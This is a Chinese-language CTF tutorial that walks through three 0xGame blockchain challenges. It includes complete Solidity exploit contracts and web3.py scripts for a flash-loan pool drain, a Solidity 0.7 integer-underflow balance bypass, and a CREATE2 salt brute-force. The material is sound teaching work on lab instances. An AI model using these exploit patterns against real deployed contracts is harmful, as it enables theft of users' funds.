详解: 在0xgameCTF中手把手式教学的区块链安全入门视频 (一)_哔哩哔哩_bilibili
可以跟着视频手把手的实操一遍
肘,上链
这道题作为签到题, 解法还是很简单的, 通过这道题先具体讲一下解这个方向的题目该如何操作吧

这是区块链题目一般会给出的一些条件, 逐个先来解释一下
nc: 用带有netcat的设备连接输入此命令, 连接到题目的部署器, 可以开启区块链题目的环境
rpc: 远程过程调用协议, 在区块链中是节点与节点之间的通信方式, 通过这个网址, 你可以连接上题目的区块链网络, 使你可以和题目的合约交互
faucet: 中文译文为水龙头, 顾名思义, 你可以用它来为账户”接水”, 它可以免费分发测试用的加密货币
接下来, 你需要先使用nc连接, 看到以下画面

这里有几个选项, 大家可以自行翻译下, 大概就是”创建账户—>部署合约—>检查结果, 以及展示源码“
最后需要满足isSolved()函数为true, 即可拿到flag完成题目
所以我们当然先要看一下源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0;
contract Signin { bytes32 signin;
constructor () {}
function sign(bytes32 _signin) public { signin = _signin; }
function isSolved() public view returns (bool) { string memory expected = "Hello0xBlockchain"; return keccak256(abi.encodePacked(expected)) == signin; } }
|
很简单的逻辑, 为了使isSolve()函数为true, 需要满足keccak256(abi.encodePacked(expected)) == signin
而其中signin的值我们可以通过sign()函数传入我们构造好的参数值, 赋值给signin满足等式
那么我们可以写一个合约计算下keccak256(abi.encodePacked("Hello0xBlockchain"))
的值, 再手动传给题目合约的_signin参数
1 2 3 4 5 6 7 8 9 10 11 12
| // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0;
contract Signin { bytes32 public signin;
constructor() {}
function calculateHash() public pure returns (bytes32) { return keccak256(abi.encodePacked("Hello0xBlockchain")); } }
|
那么我们怎么连接到题目的区块链网络并调用我们的合约呢
首先我们需要一个浏览器插件MetaMask以及一个在线ide:Remix
然后在MetaMask中创建一个钱包, 到题目的水龙头中接水(拿到一个ETH), 并且连接到题目的区块网络中

然后在Remix中连接上我们的钱包

这样就可以通过我们的钱包账户利用Remix去远程调用这个网络中的一些链了, 接下来在nc中让题目部署好合约, 拿到合约的地址

在Remix中, 编译好合约, 通过At Address远程调用这个地址上的题目合约, 接下来就可以开始解题了(下面还会介绍利用脚本远程交互合约的方法)

调用我们的计算合约中calculateHash()函数, 拿到结果

传入题目合约中的sign(bytes32 _signin), 调用isSolved验证一下, 完成题目

然后这里再贴一个web3.py的脚本调用合约的方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from web3 import Web3 import json
w3 = Web3(Web3.HTTPProvider("http://156.238.233.7:8545")) print("连接状态:", w3.is_connected())
hacker = "" target = "" privateKey = ""
def run(sender, func, value=0, gas=0x300000): txn = func.build_transaction({ 'nonce': w3.eth.get_transaction_count(sender), 'gas': gas, 'gasPrice': w3.to_wei(1.1, 'gwei'), 'value': w3.to_wei(value, 'ether'), }) signed_txn = w3.eth.account.sign_transaction(txn, privateKey) txn_hash = w3.eth.send_raw_transaction(signed_txn.raw_transaction) txn_receipt = w3.eth.wait_for_transaction_receipt(txn_hash) print("txn_hash=", txn_hash.hex()) return txn_receipt
abi = json.load(open("0xgame.json"))['abi'] contract = w3.eth.contract(abi=abi, address=w3.to_checksum_address(target))
expected_message = "Hello0xBlockchain" expected_hash = w3.keccak(text=expected_message)
sign_txn = contract.functions.sign(expected_hash) run(hacker, sign_txn)
is_solved = contract.functions.isSolved().call() print(f"题目状态: {is_solved}")
|
theft
这道题启动和刚才不太一样, 可以直接访问这个部署器http://theft.zysgmzb.club/

顺便粘一下hint, 正好里面有启动题目的方法

看第一个hint, 按照步骤操作, 我们就成功开启了一个区块链实例, 然后和上一题操作方式就一样了

这道题就开始攻击一些合约漏洞了, 然后同样的先分析下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface FlashLoanReceiver { function execute() external payable; }
contract Pool { mapping(address => uint256) private balances; uint public totalSupply; uint public maxloanamount = 100 ether;
function deposit() external payable { balances[msg.sender] += msg.value; totalSupply += msg.value; }
function withdraw() external { uint256 amount = balances[msg.sender]; balances[msg.sender] = 0; payable(msg.sender).transfer(amount); totalSupply -= amount; }
function balanceOf(address user) external view returns (uint256) { return balances[user]; }
function flashLoan(uint256 amount) external { require(amount <= maxloanamount, "Amount too high"); uint256 balanceBefore = address(this).balance; require(balanceBefore >= amount, "No enough balance here");
FlashLoanReceiver(msg.sender).execute{value: amount}();
require(address(this).balance >= balanceBefore, "no money back"); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0;
import "./flash.sol";
contract Setup { Pool public TARGET; constructor() payable { TARGET = new Pool(); TARGET.deposit{value: msg.value}(); } function isSolved() external view returns (bool) { return (TARGET.totalSupply() == 1000 ether && address(TARGET).balance < 10 ether); } }
|
那么先看下第二个合约, 完成题目的条件: totalSupply的值不变(原值为1000), 并且取走贷款池的资金直到小于10eth
然后再分析下借贷合约中的逻辑, 借贷:flashLoan(), 存钱:deposit(), 取钱:withdraw(), 查询金额:balanceOf()以及一个需要重写的execute()函数
其中在借贷部分做了一些限制, 首先就是单次借贷的金额要小于100eth
然后就是最主要的最后一行的限制, 要求你通过重写的execute()中借钱进行完一些操作就要及时还钱(也称为闪电贷), 不然在调用execute()后资金池中的钱(address(this).balance
)若是比调用execute()前的资金(balanceBefore
)少了, 就代表你没有还钱, 也就会直接revert结束这次交易
1 2 3 4 5 6 7 8 9
| function flashLoan(uint256 amount) external { require(amount <= maxloanamount, "Amount too high"); uint256 balanceBefore = address(this).balance; require(balanceBefore >= amount, "No enough balance here");
FlashLoanReceiver(msg.sender).execute{value: amount}();
require(address(this).balance >= balanceBefore, "no money back"); }
|
那么我们可以利用这个合约的一些缺陷进行闪电贷攻击, 绕过这个限制取走这个池中的钱
在重写execute()这个函数时, 我们可以调用这个池中的deposit()把钱存进池中代替还钱, 在之后的withdraw()中还可以把存进的钱取出, 白嫖到借贷的资金, 那么我们可以根据这个思路编写一个攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
interface IPool { function deposit() external payable; function withdraw() external; function flashLoan(uint256 amount) external; }
contract exp{ address immutable hacker; IPool immutable pool;
constructor(address _poolAddr) { hacker = msg.sender; pool = IPool(_poolAddr); }
function attack() external { pool.flashLoan(100 ether); pool.withdraw(); payable(hacker).transfer(address(this).balance); }
function execute() external payable { pool.deposit{value: msg.value}(); }
receive() external payable {} }
|
将远端Setup.sol中的TARGET值(借贷池地址), 传入exp的构造函数中部署好攻击合约, 通过多次调用attack()函数取走池中的资金, 完成题目
最后贴个web3.py并总结下这个攻击合约的调用过程:
Pool.flashLoan()--->exp.execute()--->Pool.deposit()--->Pool.withdraw()
通过这个流程就把池中的资金转入了攻击合约中, 最后执行payable(hacker).transfer(address(this).balance)
将钱汇入钱包, 成功完成这次攻击
python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from web3 import Web3 import json
w3 = Web3(Web3.HTTPProvider("")) print("连接状态:", w3.is_connected())
hacker = "" target = "" privateKey = ""
def run(sender, func, value=0, gas=0x300000): txn = func.build_transaction({ 'nonce': w3.eth.get_transaction_count(sender), 'gas': gas, 'gasPrice': w3.to_wei(1.1, 'Gwei'), 'value': w3.to_wei(value, 'ether'), }) signed_txn = w3.eth.account.sign_transaction(txn, privateKey) txn_hash = w3.eth.send_raw_transaction(signed_txn.raw_transaction) txn_receipt = w3.eth.wait_for_transaction_receipt(txn_hash) print("txn_hash=", txn_hash.hex()) return txn_receipt
abi1 = json.load(open("flash.json"))['abi'] contract1 = w3.eth.contract(abi=abi1, address=w3.to_checksum_address(target)) abi2 = json.load(open("Setup.json"))['abi'] contract2 = w3.eth.contract(abi=abi2, address=w3.to_checksum_address(target))
exp_abi = json.load(open("exp.json"))['abi'] exp_bytecode = json.load(open("exp.json"))['bytecode'] expContract = w3.eth.contract(abi=exp_abi, bytecode=exp_bytecode)
print("[*] 部署攻击合约") poolAddr = contract2.functions.TARGET().call() txnReceipt = run(hacker, expContract.constructor(poolAddr)) print(txnReceipt)
expAddr = txnReceipt.contractAddress print("[+] 攻击合约部署在", expAddr) expContract = w3.eth.contract(abi=exp_abi, address=expAddr)
for i in range(0, 10): txn2 = run(hacker, expContract.functions.attack())
txn1 = contract2.functions.isSolved().call() print("题目状态:", txn1)
|
我哪来那么多臭钱??
和第一题同样的启动方式

nc连接, 先看下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.7.0;
contract Challenge { mapping(address => uint256) public balance; bool public solve; constructor() {}
function Get() public { balance[msg.sender] = 50; }
function Transfer(address to, uint256 amount) public { require(amount > 0, "Man!"); require(balance[msg.sender] > 0, "What can I say"); require(balance[msg.sender] - amount > 0, "Mamba out!"); require(uint160(msg.sender) % (16*16) == 239, "Sometimes I ask myself, who am i?"); balance[msg.sender] -= amount; balance[to] += amount; }
function check() public { require(balance[msg.sender] == 114514); solve=true; }
function isSolved() public view returns (bool) { return solve; } }
|
先看下目标, 我们需要通过Transfer()函数转给账户114514, 再使用这个账户调用check()完成题目
并且我们注意到一个细节, 本题使用的solidity版本是0.7.0, 那么会想到有一些旧版本存在的漏洞, 其中比较重要的就是本题要使用到的整型溢出漏洞
那么完成题目的关键就在这个Transfer()函数了, 我们需要绕过层层限制达到我们的目标
1 2 3 4 5 6 7 8
| function Transfer(address to, uint256 amount) public { require(amount > 0, "Man!"); require(balance[msg.sender] > 0, "What can I say"); require(balance[msg.sender] - amount > 0, "Mamba out!"); require(uint160(msg.sender) % (16*16) == 239, "Sometimes I ask myself, who am i?"); balance[msg.sender] -= amount; balance[to] += amount; }
|
对于前三行require, 我们就可以利用到上文提到的整型溢出漏洞
因为对于正常的理解来说, 由于第二个require的限制, 我们必须先调用Get()函数先为账户设置一个初始金额50, 但第三个require的限制, 使你转走的金额只能小于50, 无法达到题目要求的114514金额
但这里就可以通过整型溢出来绕过第三个require, 对于uint256的范围为0-2^256-1
在0.8.0版本前, 超出这个范围的值则可以成功溢出, 例如:如果你给uint256类型的值赋为2^256, 那么最后这个变量的值会溢出为0
那么同样的, 对于require(balance[msg.sender] - amount > 0, "Mamba out!")
这个限制, 如果你用balance[msg.sender]
减去了一个大于这个值的amount
, 那么这个值就会溢出为正数, 即满足这个require语句
所以在转账步骤, 我们可以直接为一个账户转账114514, 这样也不会在前三个require语句中revert
接下来重点就要想办法怎么满足这个限制
require(uint160(msg.sender) % (16*16) == 239, "Sometimes I ask myself, who am i?")
可以看到, 这条语句直接限制了交互者的地址, 必须满足uint160(msg.sender) % (16*16) == 239
这个条件, 那我们需要想办法部署一个地址符合条件的攻击合约, 通过攻击合约去调用题目合约的函数才可以
但是我们怎么能生成一个自定地址的合约呢, 这里就涉及到比较底层的solidity生成地址的原理, 然后根据代码生成地址的逻辑构造出一个能符合条件的地址
其中solidity计算地址大体上可以分为两种方式, 分别为create和create2: https://binschool.app/solidity-advanced/solidity-contract-address.html
Create: keccak256(rlp.encode(deployingAddress, nonce))[12:]
Create2 : keccak256(0xff ++ deployingAddr ++ salt ++ keccak256(bytecode))[12:]
这里演示下Create2预测出符合条件的地址, 爆破出这个符合条件的salt, 然后通过这个salt部署特定地址的攻击合约
那么我们可以写一个deployer合约, 用来在一个符合条件的地址上部署我们的攻击合约, 并通过这个攻击合约转给我们的钱包114514, 然后用我们的钱包账户去调用题目的check(), 就可以完成挑战了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.7.0;
contract Exp { Challenge immutable target; address immutable hacker;
constructor(address _challengeAddr, address _hacker) { hacker = _hacker; target = Challenge(_challengeAddr); }
function attack() external { target.Get(); target.Transfer(hacker, 114514); } }
contract Deployer { constructor(){} function findSalt(address target, address hacker) public view returns (bytes32) { for (uint256 i = 0; i < type(uint256).max; i++) { bytes32 salt = bytes32(i); address expAddr = calcAddr(salt, target, hacker); if (uint160(expAddr) % (16 * 16) == 239) { return salt; } } revert("Suitable salt not found"); }
function calcAddr(bytes32 salt, address target, address hacker) public view returns (address) { bytes memory bytecode = abi.encodePacked(type(Exp).creationCode, abi.encode(target, hacker)); bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, keccak256(bytecode))); return address(uint160(uint256(hash))); }
function deploy(bytes32 salt, address target, address hacker) public returns (address) { Exp exp = new Exp{salt: salt}(target, hacker); return (address(exp)); } }
|
然后总结下调用过程:
- 爆出特定盐值, create2部署符合条件地址的合约
Deployer.findSalt()--->Deployer.calcAddr()--->Deployer.deploy(Deployer.findSalt)
- 在Deployer.calcAddr()算出的地址上调用部署好的攻击合约进行攻击
Exp.attack()--->Challenge.Get()--->Challenge.Transfer()
Challenge.check()--->Challenge.isSolved()
最后再贴一个web3.py的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| from web3 import Web3 import json
w3 = Web3(Web3.HTTPProvider("http://156.238.233.21:8545")) print("连接状态:", w3.is_connected())
hacker = "" target = "" privateKey = ""
def run(sender, func, value=0, gas=0x300000): txn = func.build_transaction({ 'nonce': w3.eth.get_transaction_count(sender), 'gas': gas, 'gasPrice': w3.to_wei(1.1, 'Gwei'), 'value': w3.to_wei(value, 'ether'), }) signed_txn = w3.eth.account.sign_transaction(txn, privateKey) txn_hash = w3.eth.send_raw_transaction(signed_txn.raw_transaction) txn_receipt = w3.eth.wait_for_transaction_receipt(txn_hash) print("txn_hash=", txn_hash.hex()) return txn_receipt
abi = json.load(open("0xgame.json"))['abi'] contract = w3.eth.contract(abi=abi, address=w3.to_checksum_address(target))
dep_abi = json.load(open("deployer.json"))['abi'] dep_bytecode = json.load(open("deployer.json"))['bytecode'] depContract = w3.eth.contract(abi=dep_abi, bytecode=dep_bytecode)
print("[*] 部署deploy合约") txnReceipt = run(hacker, depContract.constructor()) print(txnReceipt) depAddr = txnReceipt.contractAddress print("[+] deploy合约部署在", depAddr) depContract = w3.eth.contract(abi=dep_abi, address=w3.to_checksum_address(depAddr))
salt = depContract.functions.findSalt(target, hacker).call() print("[*] 部署特定地址攻击合约") deploy = run(hacker, depContract.functions.deploy(salt, target, hacker)) print(deploy) exp_addr = depContract.functions.calcAddr(salt, target, hacker).call() print("[-] 攻击合约部署在", exp_addr)
exp_abi = json.load(open("exp.json"))['abi'] exp_bytecode = json.load(open("exp.json"))['bytecode'] expContract = w3.eth.contract(abi=exp_abi, bytecode=exp_bytecode, address=w3.to_checksum_address(exp_addr))
print("[*] 进行攻击") attack = run(hacker, expContract.functions.attack()) print(attack)
txn_check = run(hacker, contract.functions.check()) print("[+] 检查是否完成") balance = contract.functions.balance(hacker).call() print("账户金额:", balance) txn_solve = contract.functions.isSolved().call() print("题目状态:", txn_solve)
|